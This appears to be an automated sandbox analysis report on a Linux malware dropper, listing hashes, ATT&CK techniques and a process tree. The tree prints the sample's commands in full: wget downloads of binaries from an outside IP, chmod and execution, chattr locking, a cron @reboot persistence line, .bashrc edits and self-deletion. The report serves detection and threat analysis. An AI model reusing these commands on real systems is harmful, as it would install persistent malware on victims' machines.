35defc2e10b35fd686a376ed4568eef8009e79ea70ec73fcc970bcfd3c9dfe17

Analysis

max time kernel
146s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
16/07/2026, 04:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
35defc2e10b35fd686a376ed4568eef8009e79ea70ec73fcc970bcfd3c9dfe17
Size 1KB
Sample260716-eplzvacx5k
SHA256 35defc2e10b35fd686a376ed4568eef8009e79ea70ec73fcc970bcfd3c9dfe17
MD5 5365ede16870137cc0fdc393cc29fa9b
SHA1 2ae7c45a7431bc96e4b8401af67932b85563b228
SHA512 39a0199459aae1f3abdbe65e46a5d1dd97ffe526131f48fd702877475996e1269e2a3cc624ef1db52a2a80e329429857dcb9bb326d0fbedf069a5d9691fce229
TLSH
T1CB31258F0B59C6B14B5E98EBD74582D79B070453004CD915B7DC8659BF36058F1A53C7
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1517	chmod
1543	chmod

Deletes itself 1 IoCs

pid	Process
1518	x86_647891

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/x86_647891	1518	35defc2e10b35fd686a376ed4568eef8009e79ea70ec73fcc970bcfd3c9dfe17
/root/.systemd-private	1535	nohup
/root/.bash_64	1541	nohup
/tmp/x867891	1544	35defc2e10b35fd686a376ed4568eef8009e79ea70ec73fcc970bcfd3c9dfe17

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.dKZFZ0	crontab

Creates/modifies environment variables 1 TTPs 2 IoCs

Creating/modifying environment variables is a common persistence mechanism.

persistence privilege_escalation defense_evasion

Path Interception by PATH Environment Variable

T1574.007

description	ioc	Process
File opened for modification	/root/.bashrc	x86_647891
File opened for modification	/root/.bash_profile	x86_647891

Enumerates running processes
Discovers information about currently running processes on the system

Modifies Bash startup script 2 TTPs 2 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/root/.bashrc	x86_647891
File opened for modification	/root/.bash_profile	x86_647891

Changes its process name 3 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	sshd	1536	x86_647891
Changes the process name, possibly in an attempt to hide itself	inetd	1539	x86_647891
Changes the process name, possibly in an attempt to hide itself	nginx	1538	x86_647891

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/3/cmdline	x86_647891
File opened for reading	/proc/507/cmdline	x86_647891
File opened for reading	/proc/714/cmdline	x86_647891
File opened for reading	/proc/982/cmdline	x86_647891
File opened for reading	/proc/23/cmdline	x86_647891
File opened for reading	/proc/30/cmdline	x86_647891
File opened for reading	/proc/171/cmdline	x86_647891
File opened for reading	/proc/533/cmdline	x86_647891
File opened for reading	/proc/679/cmdline	x86_647891
File opened for reading	/proc/1069/cmdline	x86_647891
File opened for reading	/proc/1102/cmdline	x86_647891
File opened for reading	/proc/1206/cmdline	x86_647891
File opened for reading	/proc/563/cmdline	x86_647891
File opened for reading	/proc/1003/cmdline	x86_647891
File opened for reading	/proc/1106/cmdline	x86_647891
File opened for reading	/proc/1266/cmdline	x86_647891
File opened for reading	/proc/1501/cmdline	x86_647891
File opened for reading	/proc/21/cmdline	x86_647891
File opened for reading	/proc/173/cmdline	x86_647891
File opened for reading	/proc/257/cmdline	x86_647891
File opened for reading	/proc/581/cmdline	x86_647891
File opened for reading	/proc/6/cmdline	x86_647891
File opened for reading	/proc/26/cmdline	x86_647891
File opened for reading	/proc/178/cmdline	x86_647891
File opened for reading	/proc/919/cmdline	x86_647891
File opened for reading	/proc/1105/cmdline	x86_647891
File opened for reading	/proc/1326/cmdline	x86_647891
File opened for reading	/proc/1503/cmdline	x86_647891
File opened for reading	/proc/2/cmdline	x86_647891
File opened for reading	/proc/98/cmdline	x86_647891
File opened for reading	/proc/457/cmdline	x86_647891
File opened for reading	/proc/1093/cmdline	x86_647891
File opened for reading	/proc/25/cmdline	x86_647891
File opened for reading	/proc/32/cmdline	x86_647891
File opened for reading	/proc/164/cmdline	x86_647891
File opened for reading	/proc/204/cmdline	x86_647891
File opened for reading	/proc/426/cmdline	x86_647891
File opened for reading	/proc/463/cmdline	x86_647891
File opened for reading	/proc/989/cmdline	x86_647891
File opened for reading	/proc/1473/cmdline	x86_647891
File opened for reading	/proc/115/cmdline	x86_647891
File opened for reading	/proc/175/cmdline	x86_647891
File opened for reading	/proc/495/cmdline	x86_647891
File opened for reading	/proc/724/cmdline	x86_647891
File opened for reading	/proc/12/cmdline	x86_647891
File opened for reading	/proc/1040/cmdline	x86_647891
File opened for reading	/proc/1513/cmdline	x86_647891
File opened for reading	/proc/79/cmdline	x86_647891
File opened for reading	/proc/169/cmdline	x86_647891
File opened for reading	/proc/486/cmdline	x86_647891
File opened for reading	/proc/653/cmdline	x86_647891
File opened for reading	/proc/912/cmdline	x86_647891
File opened for reading	/proc/1087/cmdline	x86_647891
File opened for reading	/proc/1107/cmdline	x86_647891
File opened for reading	/proc/1192/cmdline	x86_647891
File opened for reading	/proc/16/cmdline	x86_647891
File opened for reading	/proc/29/cmdline	x86_647891
File opened for reading	/proc/979/cmdline	x86_647891
File opened for reading	/proc/999/cmdline	x86_647891
File opened for reading	/proc/1099/cmdline	x86_647891
File opened for reading	/proc/1210/cmdline	x86_647891
File opened for reading	/proc/165/cmdline	x86_647891
File opened for reading	/proc/671/cmdline	x86_647891
File opened for reading	/proc/1174/cmdline	x86_647891

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/x86_647891	wget
File opened for modification	/tmp/x867891	wget

/tmp/35defc2e10b35fd686a376ed4568eef8009e79ea70ec73fcc970bcfd3c9dfe17
/tmp/35defc2e10b35fd686a376ed4568eef8009e79ea70ec73fcc970bcfd3c9dfe17
1⤵
- Executes dropped EXE
PID:1505
- /bin/uname
  uname -m
  2⤵
  PID:1506
- /usr/bin/basename
  basename http://103.79.185.121/x86_647891
  2⤵
  PID:1507
- /usr/bin/wget
  wget -q http://103.79.185.121/x86_647891 -O x86_647891
  2⤵
  - Writes file to tmp directory
  PID:1508
- /bin/chmod
  chmod +x x86_647891
  2⤵
  - File and Directory Permissions Modification
  PID:1517
- /tmp/x86_647891
  ./x86_647891
  2⤵
  - Deletes itself
  - Creates/modifies environment variables
  - Modifies Bash startup script
  - Changes its process name
  - Reads runtime system information
  PID:1518
- - /bin/sh
    sh -c -- "set +m 2>/dev/null"
    3⤵
    PID:1519
- - /bin/sh
    sh -c -- "unset jobcontrol 2>/dev/null"
    3⤵
    PID:1520
- - /bin/sh
    sh -c -- "chattr +i /root/.bash_64 2>/dev/null"
    3⤵
    PID:1521
  - - /usr/bin/chattr
      chattr +i /root/.bash_64
      4⤵
      PID:1522
- - /bin/sh
    sh -c -- "sed -i '/bash_64/d' /root/.bashrc 2>/dev/null"
    3⤵
    PID:1523
  - - /bin/sed
      sed -i /bash_64/d /root/.bashrc
      4⤵
      PID:1524
- - /bin/sh
    sh -c -- "sed -i '/pulse/d' /root/.bashrc 2>/dev/null"
    3⤵
    PID:1525
  - - /bin/sed
      sed -i /pulse/d /root/.bashrc
      4⤵
      PID:1526
- - /bin/sh
    sh -c -- "sed -i '/disown/d' /root/.bashrc 2>/dev/null"
    3⤵
    PID:1527
  - - /bin/sed
      sed -i /disown/d /root/.bashrc
      4⤵
      PID:1528
- - /bin/sh
    sh -c -- "(crontab -l 2>/dev/null | grep -v '/root/.systemd-private'; echo \"@reboot nohup /root/.systemd-private >/dev/null 2>&1 &\") | crontab -"
    3⤵
    PID:1529
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1531
  - - /bin/grep
      grep -v /root/.systemd-private
      4⤵
      PID:1533
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1532
- - /bin/sh
    sh -c -- "nohup /root/.systemd-private >/dev/null 2>&1 &"
    3⤵
    PID:1534
- /bin/rm
  rm -f x86_647891
  2⤵
  PID:1537
- /usr/bin/basename
  basename http://103.79.185.121/x867891
  2⤵
  PID:1540
- /usr/bin/wget
  wget -q http://103.79.185.121/x867891 -O x867891
  2⤵
  - Writes file to tmp directory
  PID:1542
- /bin/chmod
  chmod +x x867891
  2⤵
  - File and Directory Permissions Modification
  PID:1543
- /tmp/x867891
  ./x867891
  2⤵
  PID:1544
- /bin/rm
  rm -f /tmp/35defc2e10b35fd686a376ed4568eef8009e79ea70ec73fcc970bcfd3c9dfe17
  2⤵
  PID:1545

/usr/bin/nohup
nohup /root/.systemd-private
1⤵
- Executes dropped EXE
PID:1535

/root/.systemd-private
/root/.systemd-private
1⤵
PID:1535

/usr/bin/nohup
nohup /root/.bash_64
1⤵
- Executes dropped EXE
PID:1541

/root/.bash_64
/root/.bash_64
1⤵
PID:1541

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.bash_logout

Path /root/.bash_logout
Size 19B
SHA256 deddc34cf712157cd887b6044f137e778431570fbabe892fedeb67314b1fa69c
MD5 a3920623c12732e2394bc1c0004acde5
SHA1 f7a162a039da3576bf447aa01656880ed7b74fb6
SHA512 156f39c886ef2ed7bd76713ae56eafa8d222eac0fc0c482196a4bee12efbb2b60a31451926b64581c7af68981e2092d4f9bb1e03503f8a4fabb20a4a3ec675a1
MD5 SHA1 SHA512

Submit Download

.bash_profile

Path /root/.bash_profile
Size 45B
SHA256 8b8e8b0619529d92dce796b51caa270d7cd491dc76428719dda9ac67e7040e26
MD5 6b32cf4e068701d2e52e91e5394d460f
SHA1 2af775395ebb1a4e03616061e6f60a7b4357281c
SHA512 06873ec5280a18b236a0b1c7f714b84a3e70bc840b712652f273cdbb87983a00731b8afc19f0c75d0bdcddc604908284aa966037913d5c1a62e82cfea76bc3bf
MD5 SHA1 SHA512

Submit Download

.bashrc

Path /root/.bashrc
Size 3KB
SHA256 9cce61dcbf6d145c0b573f4a2ee0bc3b82237ae88cb1da033f35fe5aa4396cdc
MD5 8213f2536c712634849f9c6e6d858f0d
SHA1 667be5d4af525989ba1baf9e6cf0344d8c0901aa
SHA512 76d7098c9fdb00dc633b51772d5296ae608a5c48626e7ff5dcce4e1a2c4749e71571055beb2ba7c7adf8d58e549f2d3b2d2da85c35923bbc853cdef9d7c089be
TLSH
T13D61805DF7F10668F15524B1E85513108E95051F0136BD5952D52500DB4450D4234D30
MD5 SHA1 SHA512 TLSH

Submit Download

.systemd-private

Path /root/.systemd-private
Size 56B
SHA256 8e95f444926abcd0ed09458519f9561a10eea24eb8d914d27cb56f5e76fba705
MD5 83fe6a3fbc24a79ce0f22036397d211b
SHA1 54715abf5357a26abdb9214b72b7d2b73e53f26e
SHA512 0207472053e4cd4fb13936ba8089d172085de9d9804a11b779e9a7e2fe0cfa0a60e9eba9b4deda72c0bef4b0e79e6a1bb1959d70a5f3b42258ebbc5064cf3303
TLSH
T1EE902222B2B00C30300CA38C2808203000C300A2280AB0B000C088028E0030A3280BA2
MD5 SHA1 SHA512 TLSH

Submit Download

sedO21LxX

Path /root/sedO21LxX
Size 3KB
SHA256 34fbc467b8c624d92abcdf3edcf35ee46032618a6f23b210efab0e6824978126
MD5 cf277664b1771217d7006acdea006db1
SHA1 17d380175c89fb145357edd7f1356f6274bfc762
SHA512 d2bf662bbc8e8c0c4c9b3a6a55fa18e30c25bfa012f0282d5c74d7538ae693ae157cb13321037aebbc8216f6f11419539f02a222ccb2c575271e634b76e50e26
TLSH
T1B45195AAC714E33B9D87909933EB96412385F0E12FA43F447418210E7BA7542A1FA5FC
MD5 SHA1 SHA512 TLSH

Submit Download

bot.pid

Path /run/bot.pid
Size 5B
SHA256 20967d261de1d161c9c4d707805cc021dad04bde8479d862b471b96e8526ea13
MD5 253c3fe2b5157e24a354713b1fd0cd7e
SHA1 7cdeaf63fe574589b7e4c3b6d0a4c2498a12fc8e
SHA512 1f913e57914397f2d6c154d5afa53e7faf97403ff681d93b9e06ef4e75e8c5271854b268e4d7c5264380c43da07588dd4ce9420517dc95ed9936d95d39af046e
MD5 SHA1 SHA512

Submit Download

x867891

Path /tmp/x867891
Size 776KB
SHA256 062df5f282837cbada9eea895c5d0d737918d1170ecb5bd2a0f882cea6876dd7
MD5 3065fd606ca4c3ff5f5cdf242b66a292
SHA1 feddbcdf9386cd377c49f0b4aff5b63b03352ca0
SHA512 16bfe3684698bd6a8d752877d2ad880a3c1f051c4c4171a80d534e22a404c6c6471929f64e58d092ccf1bdaaefc34b1cf9fc033e0d6c74316f2899393301fc8a
SSDEEP 24576:H9qRpdPbhDdhbW0LyviuNTVtjr2LmZlpaGmimFtV6:6PbhDdhBm5VtBnmA
TLSH
T1EA057D8AE7D2C4F2F15301B5098FC7F6153492265013F6B2EB8C9A767876B522B1B32D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86_647891

Path /tmp/x86_647891
Size 855KB
SHA256 b1ee45a84d93ac693f95caa82101559e9d5dabb7e5b15067ad58bf193c20707f
MD5 fe9885d0230eb6797b695e203ba229d5
SHA1 7fb858b5938c15bb53c72518524854e5cd2f92b6
SHA512 041844e9f21ee62b1954a984cc9b4534c102f6c98ddc9adb6ceac69a63f4fee8fd06b8e90e108aa8e99a76afa642dcf26de4374db704ddd1969087e4d8323a92
SSDEEP 12288:qglfBNgdY4IrdcHZ7jJ9pn0tArMvGwGayCWBHXlLOOpNTCpNB:qgdBNgdVfHF0tA4vGH/OSNTm
TLSH
T1E6157D2AF2F2E67DD00BC03047DBC6B15131F0755A322D7B26C09A353EAADA5171AB66
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp.dKZFZ0

Path /var/spool/cron/crontabs/tmp.dKZFZ0
Size 230B
SHA256 59707dc5a004af353a0b41d33c1a33df7acf58f09eeec6c0fa6bac0538cbb640
MD5 8b0f193f1af00650d695357176d24f8d
SHA1 5cb20758c28bbfa6bc243de9d0e34f9af4feb507
SHA512 a55e716647e0fb6798abd26cbf195c5c0b49683f4c3032b41820d4d39f141b9f99e6b721f90ddaf813aa81dba934d6079890b6298e04a9eee34e08dd74a2ae66
TLSH
T1C8D0971CBF206C3039052784A50D03169C83987E800EAE00F2EC1010820224C87A89B1
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads